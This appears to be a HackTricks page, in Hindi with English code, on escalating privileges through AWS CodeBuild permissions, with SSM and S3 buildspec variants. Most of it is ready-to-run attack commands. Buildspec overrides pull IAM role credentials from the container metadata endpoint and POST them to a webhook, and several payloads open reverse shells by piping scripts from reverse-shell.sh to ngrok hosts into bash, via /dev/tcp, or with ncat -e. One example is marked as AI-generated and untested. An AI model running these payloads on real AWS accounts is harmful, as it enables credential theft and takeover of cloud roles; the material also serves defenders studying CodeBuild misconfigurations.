# AWS - Codebuild Privesc {{#include ../../../banners/hacktricks-training.md}} ## codebuild अधिक जानकारी प्राप्त करें: {{#ref}} ../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` इनमें से किसी एक अनुमति के साथ, एक नए buildspec के साथ एक निर्माण को ट्रिगर करना और परियोजना को सौंपे गए iam भूमिका का टोकन चुराना पर्याप्त है: {{#tabs }} {{#tab name="StartBuild" }} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {{#endtab }} {{#tab name="StartBuildBatch" }} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {{#endtab }} {{#endtabs }} **नोट**: इन दोनों कमांड के बीच का अंतर यह है: - `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल निर्माण कार्य को ट्रिगर करता है। - `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन के साथ निर्माण के बैच को शुरू करने की अनुमति देता है (जैसे कई निर्माणों को समानांतर में चलाना)। **संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे विशेषाधिकार वृद्धि। ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) एक हमलावर जिसके पास **`iam:PassRole`, `codebuild:CreateProject`, और `codebuild:StartBuild` या `codebuild:StartBuildBatch`** अनुमतियाँ हैं, वह **किसी भी codebuild IAM भूमिका के लिए विशेषाधिकार बढ़ा सकता है** एक चल रही भूमिका बनाकर। {{#tabs }} {{#tab name="Example1" }} ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ \"name\": \"codebuild-demo-project\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" REV_PATH="/tmp/rev.json" printf "$JSON" > $REV_PATH # Create project aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH # Build it aws codebuild start-build --project-name codebuild-demo-project # Wait 3-4 mins until it's executed # Then you can access the logs in the console to find the AWS role token in the output # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} {{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: build: commands: - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml # Create a new CodeBuild project with the buildspec.yml file aws codebuild create-project --name reverse-shell-project --source type=S3,location=/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role --timeout-in-minutes 60 # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project ``` {{#endtab }} {{#tab name="Example3" }} ```bash # Generated by ex16x41, tested # Create a hook.json file with command to send output from curl credentials URI to your webhook address { "name": "user-project-1", "source": { "type": "NO_SOURCE", "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n" }, "artifacts": { "type": "NO_ARTIFACTS" }, "environment": { "type": "LINUX_CONTAINER", "image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0", "computeType": "BUILD_GENERAL1_SMALL" }, "serviceRole": "ARN-OF-TARGET-ROLE" } # Create a new CodeBuild project with the hook.json file aws codebuild create-project --cli-input-json file:///tmp/hook.json # Start a build with the new project aws codebuild start-build --project-name user-project-1 # Get Credentials output to webhook address Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from ``` {{#endtab }} {{#endtabs }} **संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क। > [!WARNING] > एक **Codebuild कंटेनर** में फ़ाइल `/codebuild/output/tmp/env.sh` सभी env vars को शामिल करती है जो **मेटाडेटा क्रेडेंशियल्स** तक पहुँचने के लिए आवश्यक हैं। > इस फ़ाइल में **env वेरिएबल `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** शामिल है जो क्रेडेंशियल्स तक पहुँचने के लिए **URL पथ** को शामिल करता है। यह कुछ इस तरह होगा `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > इसे URL **`http://169.254.170.2/`** में जोड़ें और आप भूमिका के क्रेडेंशियल्स को डंप करने में सक्षम होंगे। > इसके अलावा, इसमें **env वेरिएबल `ECS_CONTAINER_METADATA_URI`** भी शामिल है जो **कंटेनर के बारे में मेटाडेटा जानकारी प्राप्त करने के लिए पूर्ण URL** को शामिल करता है। ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) जैसे पिछले अनुभाग में, यदि आप एक निर्माण परियोजना बनाने के बजाय इसे संशोधित कर सकते हैं, तो आप IAM भूमिका को निर्दिष्ट कर सकते हैं और टोकन चुरा सकते हैं। ```bash REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` **संभावित प्रभाव:** किसी भी AWS Codebuild भूमिका के लिए सीधे प्रिवेस्क। ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) पिछले अनुभाग की तरह लेकिन **`iam:PassRole` अनुमति के बिना**, आप इस अनुमति का दुरुपयोग करके **मौजूदा Codebuild परियोजनाओं को संशोधित कर सकते हैं और उस भूमिका तक पहुंच प्राप्त कर सकते हैं जो पहले से ही असाइन की गई है**। {{#tabs }} {{#tab name="StartBuild" }} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! printf "$JSON" > $REV_PATH aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` {{#endtab }} {{#tab name="StartBuildBatch" }} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"project_name\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" printf "$JSON" > $REV_PATH # Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild! aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` {{#endtab }} {{#endtabs }} **संभावित प्रभाव:** जुड़े हुए AWS Codebuild भूमिकाओं के लिए सीधे प्रिवेस्क। ### SSM **SSM सत्र शुरू करने के लिए पर्याप्त अनुमतियाँ होने पर** यह संभव है कि **एक Codebuild प्रोजेक्ट** में प्रवेश किया जा सके जो बनाया जा रहा है। Codebuild प्रोजेक्ट में एक ब्रेकपॉइंट होना चाहिए:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint
और फिर: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` एक हमलावर जो एक विशेष CodeBuild प्रोजेक्ट का निर्माण शुरू/पुनः प्रारंभ करने में सक्षम है, जो अपना `buildspec.yml` फ़ाइल एक S3 बकेट पर संग्रहीत करता है, जिस पर हमलावर को लिखने की अनुमति है, CodeBuild प्रक्रिया में कमांड निष्पादन प्राप्त कर सकता है। Note: यह वृद्धि केवल तभी प्रासंगिक है जब CodeBuild कार्यकर्ता की भूमिका हमलावर की भूमिका से अलग हो, उम्मीद है कि अधिक विशेषाधिकार प्राप्त हो। ```bash aws s3 cp s3:///buildspec.yml ./ vim ./buildspec.yml # Add the following lines in the "phases > pre_builds > commands" section # # - apt-get install nmap -y # - ncat -e /bin/sh aws s3 cp ./buildspec.yml s3:///buildspec.yml aws codebuild start-build --project-name # Wait for the reverse shell :) ``` आप **reverse shell** प्राप्त करने के लिए ऐसा कुछ **buildspec** का उपयोग कर सकते हैं: ```yaml:buildspec.yml version: 0.2 phases: build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` **प्रभाव:** AWS CodeBuild कार्यकर्ता द्वारा उपयोग की जाने वाली भूमिका में सीधे प्रिवेलेज वृद्धि, जो आमतौर पर उच्च प्रिविलेज रखती है। > [!WARNING] > ध्यान दें कि buildspec को ज़िप प्रारूप में अपेक्षित किया जा सकता है, इसलिए एक हमलावर को डाउनलोड, अनज़िप, रूट निर्देशिका से `buildspec.yml` को संशोधित करना, फिर से ज़िप करना और अपलोड करना होगा। अधिक विवरण [यहाँ](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) मिल सकते हैं। **संभावित प्रभाव:** संलग्न AWS Codebuild भूमिकाओं में सीधे प्रिवेलेज वृद्धि। {{#include ../../../banners/hacktricks-training.md}}